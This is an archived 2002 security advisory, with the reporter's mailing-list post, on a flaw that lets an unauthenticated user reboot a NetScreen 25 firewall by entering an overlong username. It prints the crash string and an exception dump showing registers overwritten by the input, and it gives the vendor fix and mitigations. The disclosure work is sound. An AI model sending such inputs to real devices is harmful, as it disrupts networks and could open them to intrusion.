NetScreen Firewall Can Be Made to Reboot By Remote Users That Send Long Usernames to the Device's Login Screen
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SecurityTracker Alert ID: 1004383 |
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: May 28 2002
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Impact: Denial of service via network
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Version(s): 3.0.1r1.1, Tested on NetScreen 25
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Description: A denial of service vulnerability was reported in the NetScreen 25 firewall device (which may apply to other models, as well). A remote user that has access to the login screen can cause the device to reboot.
A remote user can apparently login to the NetScreen device with the following username to cause the device to reboot:
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxx
According
to the report, the syslog log entries will only show that the NetScreen's interfaces have changed to 'Up' status.
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Impact: A remote user can cause the device to reboot, interrupting all existing connections.
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Solution: The author of the report indicates that the vendor has issued a fixed version (ScreenOS 3.0.1r2), but has not issued a security alert.
According to the report, the release notes address the flaw (ref cs00232).
Contact the vendor for more information.
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Vendor URL: www.netscreen.com/support/alert.html (Links to External Site)
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Cause: Exception handling error
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Reported By: quentyn@fotango.com
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Message History:
This archive entry has one or more follow-up message(s) listed below.
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Source Message Contents
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Date: Mon, 27 May 2002 18:33:31 +0100
From: quentyn@fotango.com
Subject: Netscreen 25 unauthorised reboot issue
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Please note that this advisory was prepared, before speaking to
Netscreen's US operation. Nothing of this vulnerability has been
discussed here ( or on vun-dev) hence this email. Additionally it is not
shown on netscreen's security alerts page
(http://www.netscreen.com/support/alert.html) as of 25.05.2002.
After speaking to their 3rd line support in the US (eventually) I was
informed
that this had been fixed.
Indeed problem *has* been fixed as of ScreenOS 3.0.1r2 ( however you
have to look in the release notes to discover this - ref cs00232). I
wonder how many people are still running affected firmware ?
#Synopsis
A remote user ( who is un authenticated ) can cause a netscreen 25 (
other versions untested) to reboot remotely. Software Version 3.0.1r1.1
which was current as of about 1 month ago and has no alerts shown
against it on netscreen's security alert's page.
#Method
Log on to the netscreen with a user name of
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxx
and the device reboots
this looks similar to
http://www.net-security.org/vuln.php?id=577
from a year ago
remote syslog shows just that the device's interfaces came back up
May 24 14:36:59 192.168.1.100 phaedra: NetScreen device_id=phaedra
system-notification-00513: The physical state of the interface trust
has
changed to Up (2002-05-24 13:36:47)
May 24 14:36:59 192.168.1.100 phaedra: NetScreen device_id=phaedra
system-notification-00513: The physical state of the interface untrust
has changed to Up (2002-05-24 13:36:47)
May 24 14:36:59 192.168.1.100 phaedra: NetScreen device_id=phaedra
system-notification-00513: The physical state of the interface DMZ has
changed to Up (2002-05-24 13:36:48)
##### Start of console output
phaedra-> *******************************************************
Exception Dump
*******************************************************
System up time: 3 hours 20 minutes 48 seconds
Exception(Instruction TLB Miss)
GPR:
R0: 78787878 R1: 03044e50 R2: 00470928 R3: 00000000
R4: 03044e08 R5: 000000ac R6: 0074bde8 R7: 78787878
R8: 004c9d70 R9: 03a81d50 R10: 004fcb58 R11: 004d0000
R12: 40000024 R13: 004d1344 R14: 000d0904 R15: 80020020
R16: 43c00da1 R17: 300b6030 R18: 60101022 R19: 00000000
R20: 00750000 R21: 00470000 R22: 00000001 R23: 00755078
R24: 78787878 R25: 78787878 R26: 78787878 R27: 78787878
R28: 78787878 R29: 78787878 R30: 78787878 R31: 78787878
Special Register:
CR: 20000024 XER: 00000000 LR: 78787878 CTR: 00000000
MSR: 00021200 SRR0: 78787878 SRR1: 00029230 SRR2: 00300044
SRR3: 00000000 DBSR: 00000000 TCR: fc000000 TSR: 04000000
ESR: 00000000 DEAR: 00000000 PID: 00000000
*******************************************************
Exception Dump
*******************************************************
System up time: 3 hours 20 minutes 48 seconds
Exception(Machine Check)
GPR:
R0: 78787878 R1: 03044d68 R2: 00470928 R3: 00000000
R4: 00000000 R5: 00000000 R6: 78787878 R7: 002fffd4
R8: 004c9d70 R9: 00000000 R10: 000002ec R11: 00000020
R12: 40000024 R13: 004d1344 R14: 000d0904 R15: 80020020
R16: 43c00da1 R17: 300b6030 R18: 60101022 R19: 00000000
R20: 00750000 R21: 00470000 R22: 00000001 R23: 00755078
R24: 78787878 R25: 78787878 R26: 78787878 R27: 00000001
R28: 03044d94 R29: 0000001f R30: 78787878 R31: 00000000
Special Register:
CR: 40000024 XER: 20000000 LR: 002fffd4 CTR: 00000000
MSR: 00000000 SRR0: 78787878 SRR1: 00029230 SRR2: 00300044
SRR3: 00021200 DBSR: 00000000 TCR: fc000000 TSR: 0c000000
ESR: 00000000 DEAR: 00000000 PID: 00000000
Trace Dump:
00300044 002fffd4 002ff8f4 002fee04 00000000
System Level:
Image In Interrupt Level
********************************************************
Please use GDB to track the trace
********************************************************
NetScreen PowerPC 405GP BootROM V1.01
(c)1997-2002 NetScreen Technologies Inc. All rights reserved
Check Platform...... NS-25
<snip normal netscreen start up>
###### End
#Preliminary Conclusions
restrict the IP's that can connect to the web interface.
and upgrade to the latest version of screen OS
#Vendor status
They had (as mentioned above) already fixed this issue , but had ( in my
personal opinion) not publicized it very well, hence this post.
--
#####################
Quentyn Taylor
Sysadmin - Fotango
#####################
"I just went visual on this goofy looking Finn riding on a gnu, wielding
one pissed off penguin...
gah"
Bob The Sane
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